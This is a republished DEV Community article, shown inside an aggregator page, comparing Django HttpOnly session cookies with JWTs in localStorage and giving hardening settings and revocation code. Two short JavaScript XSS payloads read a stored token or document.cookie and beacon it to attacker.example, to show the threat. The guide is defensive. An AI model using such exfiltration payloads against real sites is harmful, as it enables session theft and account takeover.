惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

F
Full Disclosure
Recorded Future
Recorded Future
T
Tenable Blog
S
Securelist
C
CERT Recently Published Vulnerability Notes
T
Threatpost
S
Schneier on Security
A
Arctic Wolf
The Hacker News
The Hacker News
C
CXSECURITY Database RSS Feed - CXSecurity.com
Know Your Adversary
Know Your Adversary
P
Privacy International News Feed
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
The Register - Security
The Register - Security
Cisco Talos Blog
Cisco Talos Blog
AWS News Blog
AWS News Blog
K
Kaspersky official blog
T
True Tiger Recordings
T
Threat Research - Cisco Blogs
V
Vulnerabilities – Threatpost
P
Palo Alto Networks Blog
T
The Exploit Database - CXSecurity.com
小众软件
小众软件
B
Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Microsoft Azure Blog
Microsoft Azure Blog
Cyberwarzone
Cyberwarzone
C
Cybersecurity and Infrastructure Security Agency CISA
T
Tor Project blog
Spread Privacy
Spread Privacy
Malwarebytes
Malwarebytes
P
Proofpoint News Feed
F
Fox-IT International blog
F
Fortinet All Blogs
P
Privacy & Cybersecurity Law Blog
G
GRAHAM CLULEY
量子位
Latest news
Latest news
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 叶小钗
Project Zero
Project Zero
T
Tailwind CSS Blog
N
Netflix TechBlog - Medium
Martin Fowler
Martin Fowler
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
I
Intezer
博客园_首页
腾讯CDC
H
Hackread – Cybersecurity News, Data Breaches, AI and More
D
Darknet – Hacking Tools, Hacker News & Cyber Security

DEV Community

The Day Our Treasure Hunt Engine Blew Up at 3 AM How I Built 8 Free Dev Tools as a Solo Maker — Lessons Learned The Moment the JVM Unwound at 3 AM and the Rust Runtime Held Why Linux Powers Almost Every Modern Server Magento 2 Nginx Optimization for High Traffic — Complete Server Tuning Guide How to Merge Multiple PDFs with One API Call — Node.js, Python & curl Why you should always rewrite the code you copy Structured Prompts Cut Token Waste 35-40%. Here's Where It Actually Matters. Validate EU VAT Numbers in Claude Desktop, Cursor, and ChatGPT — Official MCP Server The AI That Improves Itself: Autonomous Prompt Iteration Loop Do You Really Need Certifications to Get a Job? 🤔 Building Your First UAPK Manifest: A Step-by-Step Guide Inside a Horilla CRM App: registration.py, menu.py, and What AppLauncher Actually Loads Automate Browser Tasks with xbrowser: A Developer's Guide to Web Automation Why Veltrix Will Never Be the Silver Bullet for Distributed Locks at Scale ClickUp from a Developer's Perspective in 2026: API, Webhooks, and the Self-Host Question Foundational Concepts in Data Engineering ¿Por qué Go no tiene excepciones? Primeros pasos Creating my own web browser The Gamedev Server That Broke at 300 Concurrent Hunters and How We Fixed It OneAquaHealth IEEE Global Hackathon Hytale Servers and the Lies We Told Ourselves About Treasure Hunts Evcode:I built a terminal IDE in Rust that runs on 7MB of RAM — Evcode 1.0.0 HackCanton S2 is Open — Build on Canton and Win How to Start Contributing to Open-Source AI Projects (Python, Agents, Good First Issues) I built /ai inside a notes app — here's how I render generated UI components safely I Built 8 Free Browser-Based Developer Tools (No Uploads, No Tracking) Liquid Alerts: WOW Alerts Meet Liquid Border Rest is not what you think How Polymarket Scaled Their Data Stack with Postgres + ClickHouse Adaptive execution for Java agents: reason-aware retries and budget-aware routing Memory Safety and the C/C++ CVE Crisis tRPC: The End of API Docs as We Know Them How to Build a Crypto Trading Bot with CoinGlass API AI: Who I Am, and What I'm Supposed to Be in the Software World I Have Taken Over React Projects Without Standards. Here Is What That Actually Feels Like. How I set up Sanity draft mode preview with Next.js App Router and Vercel Edge Config Secure File Upload Guide to Validation, Scanning and Storage The pause before the first token iOS Image Classification CoreML: Complete 2026 Guide Fine-Tuning Llama 3.2 3B on Medical QA: Week 2- Data Preparation Building a Card Game AI with Reinforcement Learning — Implementation Details#2 Stop hardcoding AI providers: a generic client approach AI models are missing religious context. Builders should treat that as an eval problem. Build Your AI Second Brain with Claude + Obsidian Encoding FIFA’s 495 third-place scenarios for the 2026 World Cup I burned through DeepSeek's 5M free tokens in 14 days — here's the exact math Animating React Without Fighting the Render Loop: useRafFn, useRafState, useFps, useDevicePixelRatio, useUpdate I’m Building AR/XR Experiences for Nigeria Without ARCore or ARKit Memory Graphs Don't Scale Is it just me, or is Codex getting slower day by day? 🐢 LLM API Tokens burning your Bank even on testing ? Not anymore, cuesheet is here to help with that. HTML to JSX: Common Conversion Problems Frontend Developers Still Make Fighting Database Connection Pool Exhaustion Your sanctions screening just broke: managing 50+ data sources without burying your team I think AI accidentally became my personality for a month Building a local-first clipboard workspace for macOS Understanding MCP (Model Context Protocol) in Next.js 16 Next.js 16 RAG Pipeline Optimization: Give Your AI a Perfect Memory The Complete Developer’s Guide to the Baileys WhatsApp Bot: Setup, Scaling, and VPS Deployment The Moment Veltrix Blew Up and We Had to Write Our Own Shard Router We built an alert triage system. Then we watched analysts ignore it. Future of AI Hardware API Treasure Hunt Engine: When Veltrix Defaults Buried 800k Documents in a Hot Partition I Cloned My Dog-Name Site to Build a Cat-Name Site. The Routing Layer Bit Back. Serverless Computing Claude Code Hooks vs Skills: When to Use Which Secure AI API Key Management in Next.js 16: Prevent Key Leaks I Built a Git-Tracked Book Production Pipeline CSS Carousels With Zero JavaScript: 5 Patterns 5 CSS Animations That Needed JavaScript Until 2026 When the Treasure Hunt Engine Eats Itself: My First Production Outage That Taught Me the True Cost of Defaults The 5 Best Places to Buy Next.js Templates in 2026 (Compared by Price) Building AMLA-Ready Systems: A Developer's Technical Roadmap Modern SCADA Systems Need Structured Learning More Than Ever The Rise, Pause, and Rise of CRUD Apps The Hidden Cost of Idempotency in Distributed Systems Solana Account Model — City Analogy Veltrix Configuration Was the Least of Our Worries When Our Treasure Hunt Engine Almost Took Down the Server CSS Box Shadows That Actually Look Professional CSS Gradient Trends in 2026 (And How Developers Actually Use Them) Why EU region toggles in cloud providers don't solve data sovereignty (and how to fix it) Why I Built the "Infrastructure Layer" Under Every AI Coding Agents Why I Still Regret Choosing Velocity Over Simplicity in Our Treasure Hunt Engine Configuration How Are Developers Actually Using AI At Work? Claude Security Update: Scans, Webhooks, 6 Partners The 2026 Chinese LLM Price War: Top 5 Frontier API Costs Compared Local LLM Hosting in Switzerland: Real Costs, Latency & Compliance I Built a Free SVG Background Generator for Developers Tian AI: I Built an AI Assistant That Runs 100% Offline on My Phone (No Cloud, No Subscription) How to Create Responsive Video That Doesn't "Jump" During Loading MY DEEP TECHNICAL EXPLORATION AND PERSONAL EXPERIENCE WITH HERMES AGENT 08/20: Layer 3 – The Network Layer: IP Addresses & Routing Explained CLAUDE.md for Astro: 13 Rules That Stop AI from Shipping Too Much JavaScript 10 JSON Formatting Tricks Every Developer Should Know We replaced 73 hours of weekly alert triage with 10 AI agents. Here is what the architecture looks like. The four-line cron that decides who falls in love (in my dating app) Blocked by Mac Security? How to Fix “Apple Could Not Verify” Errors in Seconds Stop the Leak: A Developer’s Guide to Taming the AWS RDS Bill in 2026
Django Session Cookie vs localStorage JWT Security Comparison
Stefan · 2026-05-27 · via DEV Community

Django Session Cookie vs localStorage JWT Security Comparison

A team ships a Django REST Framework API, adds a React SPA on the same origin, and reaches for localStorage to store JWTs because that's what the tutorial used. Six months later, a reflected XSS on a third-party widget exfiltrates every active session token in under 200ms. The attacker doesn't need to touch a cookie, bypass SameSite, or forge a CSRF token. They just read a key from storage and replay it from a server in another country. This comparison is about why that attack path exists, when it doesn't, and what the settings are that actually change the outcome.


How attackers steal tokens from each storage model

The attack mechanic is straightforward. localStorage is accessible to any JavaScript executing on the page, regardless of where that script originated. A stored JWT is just a string sitting in a key-value store that window.localStorage.getItem() can read without restriction. A successful XSS — whether reflected, stored, or through a compromised dependency — gives an attacker the same DOM access your own application code has.

The following payload illustrates the extraction. It takes the token and beacons it to an attacker-controlled endpoint:

// Stored XSS payload injected into a product review field
(function exfil() {
  const token = localStorage.getItem('access_token'); // reads the JWT directly
  if (!token) return;

  // encode and exfiltrate — img beacons bypass CSP default-src in many configs
  new Image().src = 'https://attacker.example/c?t=' + encodeURIComponent(token);
})();

Enter fullscreen mode Exit fullscreen mode

Now run the same payload against a Django session cookie configured with HttpOnly=True:

// Same XSS payload, same origin, same execution context
(function exfil() {
  const cookie = document.cookie; // returns "" — HttpOnly cookies are NOT in document.cookie
  new Image().src = 'https://attacker.example/c?t=' + encodeURIComponent(cookie);
})();

Enter fullscreen mode Exit fullscreen mode

The HttpOnly flag instructs the browser to exclude the cookie from the document.cookie API entirely. JavaScript cannot read it. The beacon fires, but it carries an empty string. The attacker has code execution on your page but still can't steal the session identifier.

This is the core asymmetry. localStorage has no equivalent protection mechanism. There is no flag you can set on a localStorage key to make it invisible to script. The storage model itself is the exposure. For a deeper look at the full surface area of browser storage options, the browser storage security tradeoffs lab on Code Review Lab walks through localStorage, sessionStorage, IndexedDB, and cookies in attack context.

The account takeover path from localStorage token theft is direct: attacker captures the JWT, copies the Authorization: Bearer <token> header into any HTTP client, and makes authenticated requests until the token expires. If your access token TTL is 24 hours — or worse, if you're storing a refresh token in localStorage too — that window is long enough to cause real damage.


Fixing it: HttpOnly, Secure, SameSite, and short-lived JWTs

For Django's built-in session framework, the secure defaults are three settings that should be on in every non-local environment:

# settings.py

# Session cookie flags
SESSION_COOKIE_HTTPONLY = True   # prevent JS access — this is the XSS mitigation
SESSION_COOKIE_SECURE = True     # only transmit over HTTPS — defeats passive interception
SESSION_COOKIE_SAMESITE = 'Lax'  # blocks cross-site cookie sending on most navigations

# CSRF cookie — often forgotten
CSRF_COOKIE_HTTPONLY = False     # must stay False so JS can read it for AJAX; that's intentional
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'

# Keep session age short for sensitive apps
SESSION_COOKIE_AGE = 3600        # 1 hour; adjust to your threat model
SESSION_EXPIRE_AT_BROWSER_CLOSE = True

Enter fullscreen mode Exit fullscreen mode

SESSION_COOKIE_HTTPONLY defaults to True in Django already. The one that trips people up is SESSION_COOKIE_SECURE, which defaults to False so local development works without TLS. Forgetting to override it in production means the session cookie travels over plaintext HTTP connections, which is exploitable on any network path you don't control.

SameSite=Lax is the middle ground: it blocks cross-site POST requests (the classic CSRF vector) while still allowing top-level navigations (clicking a link from email to your site). SameSite=Strict is more aggressive and breaks OAuth redirects and some email link flows. SameSite=None requires Secure and re-opens cross-site sending — only appropriate when you explicitly need cross-origin cookie delivery.

If your architecture genuinely requires JWTs (cross-domain clients, microservices — covered in a later section), the fix is to move them out of localStorage and into HttpOnly cookies. With DRF SimpleJWT:

# settings.py — SimpleJWT HttpOnly cookie configuration

from datetime import timedelta

SIMPLE_JWT = {
    'ACCESS_TOKEN_LIFETIME': timedelta(minutes=15),   # short-lived; stolen tokens expire fast
    'REFRESH_TOKEN_LIFETIME': timedelta(days=1),
    'ROTATE_REFRESH_TOKENS': True,                    # rotation means a stolen refresh token
    'BLACKLIST_AFTER_ROTATION': True,                 # can only be used once
    'AUTH_COOKIE': 'access_token',                    # requires djangorestframework-simplejwt[cookie]
    'AUTH_COOKIE_HTTP_ONLY': True,
    'AUTH_COOKIE_SECURE': True,
    'AUTH_COOKIE_SAMESITE': 'Lax',
}

# views.py — set cookie on login rather than returning token in response body
from rest_framework_simplejwt.views import TokenObtainPairView
from rest_framework.response import Response

class CookieTokenObtainPairView(TokenObtainPairView):
    def post(self, request, *args, **kwargs):
        response = super().post(request, *args, **kwargs)
        if response.status_code == 200:
            access = response.data.pop('access')  # remove from body — body is readable by JS
            refresh = response.data.pop('refresh')
            response.set_cookie(
                'access_token', access,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=15 * 60,  # matches ACCESS_TOKEN_LIFETIME
            )
            response.set_cookie(
                'refresh_token', refresh,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=86400,
            )
        return response

Enter fullscreen mode Exit fullscreen mode

Keeping the JWT in the response body and then writing it to localStorage in your frontend code — the pattern most tutorials show — is precisely the antipattern you're replacing here. The advanced XSS exfiltration techniques lab demonstrates how even a restricted XSS (no alert(), CSP blocking inline scripts) can still reach localStorage through DOM clobbering and deferred injection, which is why "we have CSP" is not a sufficient argument for keeping tokens there.


CSRF surface area: cookies vs Authorization headers

Moving tokens into HttpOnly cookies trades one attack surface for another. Cookies are sent automatically by the browser on every matching request, which means CSRF becomes relevant in a way it isn't when the client must explicitly set an Authorization header.

The difference: a JWT in localStorage used via Authorization: Bearer header is immune to CSRF because cross-site requests can't set custom headers (the browser won't let attacker.example set headers on a request to yourapp.example). But it's fully exposed to XSS. A JWT in an HttpOnly cookie is immune to XSS readout but is sent on cross-origin requests unless SameSite blocks it.

SameSite=Lax covers the most common CSRF attacks — cross-site form POST, cross-site fetch with credentials: 'include'. It doesn't cover all cases, which is why Django's CsrfViewMiddleware still matters:

# views.py — Django CSRF middleware in action
from django.views.decorators.csrf import csrf_protect
from django.http import JsonResponse

@csrf_protect  # redundant if CsrfViewMiddleware is in MIDDLEWARE, shown for clarity
def transfer_funds(request):
    if request.method == 'POST':
        # CsrfViewMiddleware has already verified the token by this point
        # It checks request.META['HTTP_X_CSRFTOKEN'] against the cookie value
        amount = request.POST.get('amount')
        # ... domain-specific transfer logic ...
        return JsonResponse({'status': 'ok'})

Enter fullscreen mode Exit fullscreen mode

On the frontend, your AJAX code needs to read the CSRF cookie (note: CSRF_COOKIE_HTTPONLY must be False for this to work) and attach it as a header:

// fetch helper that reads CSRF token from cookie and sends it as a header
function getCsrfToken() {
  return document.cookie
    .split('; ')
    .find(row => row.startsWith('csrftoken='))
    ?.split('=')[1];
}

async function securePost(url, data) {
  return fetch(url, {
    method: 'POST',
    credentials: 'same-origin',           // send session cookie
    headers: {
      'Content-Type': 'application/json',
      'X-CSRFToken': getCsrfToken(),       // Django's CsrfViewMiddleware checks this
    },
    body: JSON.stringify(data),
  });
}

Enter fullscreen mode Exit fullscreen mode

The double-submit pattern here is what Django's middleware validates: the CSRF value in the cookie must match the value in the header (or POST body). An attacker on a different origin can force the cookie to be sent via a form submission but cannot read the cookie value to populate the header, so the check fails.

SameSite=Strict would make this middleware check largely redundant for cookie-based sessions, but breaks too many real-world flows to recommend as a default.


Revocation, rotation, and session invalidation

This is where Django sessions have a structural advantage that JWTs cannot match without additional infrastructure.

A Django session ID is a server-side reference. When you call request.session.flush(), the session record is deleted from the backing store (database, cache, file). Every subsequent request that presents that session cookie gets a 403 or redirect to login because the server-side record no longer exists. Logout is immediate, complete, and requires no coordination across services.

# views.py — complete logout with Django sessions
from django.contrib.auth import logout
from django.http import JsonResponse

def logout_view(request):
    logout(request)  # calls request.session.flush() + clears auth
    # The session cookie is now invalid — any replay of it hits a missing session record
    response = JsonResponse({'status': 'logged out'})
    response.delete_cookie('sessionid')  # cosmetic; server-side flush is what matters
    return response

Enter fullscreen mode Exit fullscreen mode

A stateless JWT doesn't have this property. The token is self-contained and valid until its exp claim passes. Calling "logout" on the client by deleting the cookie or clearing localStorage only affects that device. If an attacker already exfiltrated the token, it keeps working.

The standard mitigation is a denylist: store invalidated JTIs (JWT IDs) in Redis or a fast cache, check on every request, reject hits. This works, but it reintroduces statefulness — you're now running a distributed session store by another name:

# middleware.py — Redis-backed JWT denylist check
import redis
from rest_framework_simplejwt.tokens import UntypedToken
from rest_framework_simplejwt.exceptions import InvalidToken, TokenError
from django.http import JsonResponse

r = redis.StrictRedis.from_url('redis://localhost:6379/0')

class JWTDenylistMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        auth_header = request.COOKIES.get('access_token') or \
                      request.META.get('HTTP_AUTHORIZATION', '').replace('Bearer ', '')

        if auth_header:
            try:
                token = UntypedToken(auth_header)
                jti = token.payload.get('jti')
                if jti and r.get(f'denylist:{jti}'):
                    # reject before view logic — token was explicitly revoked
                    return JsonResponse({'detail': 'Token revoked'}, status=401)
            except (InvalidToken, TokenError):
                pass  # let the view's authentication class return the proper error

        return self.get_response(request)


def revoke_token(jti: str, ttl_seconds: int):
    # TTL matches remaining token lifetime — no need to keep dead entries forever
    r.setex(f'denylist:{jti}', ttl_seconds, '1')

Enter fullscreen mode Exit fullscreen mode

The broken authentication patterns lab covers the class of bugs this introduces — race conditions on rotation, denylist misses during Redis failover, and token reuse after a rotation acknowledgment is lost.

For incident response, the operational difference is significant. Suspect a session was compromised? With Django sessions: delete the row. With JWTs and no denylist: wait for expiry or deploy a denylist under load. Teams that have been through an account takeover incident tend to develop strong opinions about this difference quickly.


Threat model scorecard: XSS, CSRF, MITM, replay

Threat Django HttpOnly Session Cookie JWT in localStorage JWT in HttpOnly Cookie
XSS token theft Blocked (HttpOnly) Fully exposed Blocked (HttpOnly)
CSRF Requires SameSite + CSRF middleware Not applicable (no cookie) Requires SameSite + CSRF middleware
MITM / passive interception Blocked with Secure flag + HTTPS Blocked with HTTPS Blocked with Secure flag + HTTPS
Replay after logout Impossible (server-side flush) Possible until exp Possible until exp (without denylist)
Token revocation Immediate Requires denylist Requires denylist
Cross-domain use Not possible (SameSite blocks it) Works via Authorization header Requires SameSite=None; Secure
Mobile client auth Awkward (cookies on native apps) Natural fit Workable with secure storage
Operational complexity Low (session table + cache) Medium (short TTL management) Medium-High (rotation + denylist)

The honest read of this table: for a same-domain web app with a standard browser client, Django session cookies win on almost every dimension. The JWT in localStorage pattern is the worst of both worlds — it reintroduces statefulness on the frontend while removing the server-side revocation safety net.


When a JWT actually makes sense in a Django app

There are legitimate cases. Forcing Django sessions into every architecture is its own kind of mistake.

Mobile and native clients don't have a reliable cookie jar and can't take advantage of HttpOnly cookies without additional WebView configuration. JWTs stored in platform secure storage (iOS Keychain, Android Keystore) are the appropriate pattern there. The constraint is "secure storage" — not localStorage, not SharedPreferences in plaintext.

Cross-domain SPAs where the API and frontend are on different registrable domains (e.g., api.company.com and app.otherdomain.com) can't use SameSite=Lax cookies. Credentialed cookie sharing across different registrable domains requires SameSite=None; Secure and explicit CORS configuration, which creates its own attack surface. A short-lived JWT passed via Authorization header avoids that entirely.

Microservice-to-microservice auth is the use case JWTs were actually designed for. Service A mints a signed token asserting claims about the calling context; service B validates the signature without a network call. No shared session store needed.

For cross-domain SPAs where you must use JWTs, keep access tokens in memory (a module-level variable or React context — not localStorage, not sessionStorage) and store only the refresh token in an HttpOnly cookie served by your auth endpoint:

# views.py — in-memory access token pattern
# Access token is returned in the response body (JS holds it in memory only)
# Refresh token goes into an HttpOnly cookie — survives page reload, not readable by JS

class CookieTokenRefreshView(APIView):
    def post(self, request):
        refresh_token = request.COOKIES.get('refresh_token')
        if not refresh_token:
            return Response({'detail': 'No refresh token'}, status=401)

        try:
            refresh = RefreshToken(refresh_token)
            access = str(refresh.access_token)

            if api_settings.ROTATE_REFRESH_TOKENS:
                # Old refresh token is blacklisted here; reject before use
                refresh.blacklist()
                new_refresh = str(refresh)
            else:
                new_refresh = refresh_token

            response = Response({'access': access})  # access token in body — JS stores in memory
            response.set_cookie(
                'refresh_token', new_refresh,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=86400,
                path='/api/token/refresh/',  # scope the cookie to the refresh endpoint only
            )
            return response

        except TokenError as e:
            return Response({'detail': str(e)}, status=401)

Enter fullscreen mode Exit fullscreen mode

Scoping the refresh cookie to /api/token/refresh/ via the path attribute means it isn't sent on every API request, reducing the CSRF exposure window.


Recommended defaults for new Django projects

Start here and deviate only when your architecture requires it:

# settings.py — production baseline

import os

DEBUG = False

# Session security
SESSION_COOKIE_HTTPONLY = True    # default True, but be explicit
SESSION_COOKIE_SECURE = True      # require HTTPS — override to False in local dev only
SESSION_COOKIE_SAMESITE = 'Lax'  # blocks cross-site POST CSRF without breaking OAuth flows
SESSION_COOKIE_AGE = 3600         # 1 hour idle expiry; tune per sensitivity
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
SESSION_ENGINE = 'django.contrib.sessions.backends.cached_db'  # cache-backed, survives restart

# CSRF
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_HTTPONLY = False       # must be False — JS needs to read it for AJAX
CSRF_TRUSTED_ORIGINS = [
    'https://yourapp.example.com',  # explicit allowlist — no wildcards
]

# HTTPS enforcement
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',  # keep this — SameSite doesn't cover everything
    # ... remaining middleware ...
]

Enter fullscreen mode Exit fullscreen mode

# views.py — minimal login/logout

from django.contrib.auth import authenticate, login, logout
from django.http import JsonResponse
from django.views.decorators.http import require_POST
from django.views.decorators.csrf import csrf_protect

@csrf_protect
@require_POST
def login_view(request):
    username = request.POST.get('username', '').strip()
    password = request.POST.get('password', '')

    user = authenticate(request, username=username, password=password)
    if user is None:
        return JsonResponse({'detail': 'Invalid credentials'}, status=401)

    login(request, user)
    # Django rotates session ID on login — prevents session fixation
    request.session.cycle_key()

    return JsonResponse({'username': user.username})


@require_POST
def logout_view(request):
    logout(request)  # flushes session server-side; cookie replay now returns 403
    return JsonResponse({'status': 'ok'})

Enter fullscreen mode Exit fullscreen mode

The cycle_key() call deserves a note: django.contrib.auth.login() calls this internally, but being explicit makes it visible during code review. Session fixation attacks — where an attacker plants a known session ID before authentication and then inherits the authenticated session — are blocked when the ID rotates on privilege change.

When to deviate from this baseline:

  • You have native mobile clients: add JWT issuance to a dedicated /api/token/ endpoint, use platform secure storage on the client side.
  • Your API serves multiple frontend origins: evaluate SameSite=None; Secure with explicit CORS_ALLOWED_ORIGINS rather than wildcards, and add rate limiting to token endpoints.
  • You need sub-minute revocation latency on JWTs: add a Redis denylist, accept the operational overhead, keep access token TTLs at 5 minutes or less.

The default in Django is already the secure default: HttpOnly sessions, server-side storage, immediate revocation. The failure mode we see repeatedly is developers reaching past those defaults for a pattern that adds complexity and attack surface without a matching functional requirement. Before adding JWT infrastructure to a Django project, write down the concrete reason session cookies don't work for your case. If you can't write it down, you don't need JWTs. For engineers building that security intuition systematically, the appsec engineer fundamentals track at Code Review Lab covers authentication architecture alongside the code-level vulnerabilities that make these decisions matter.


Further reading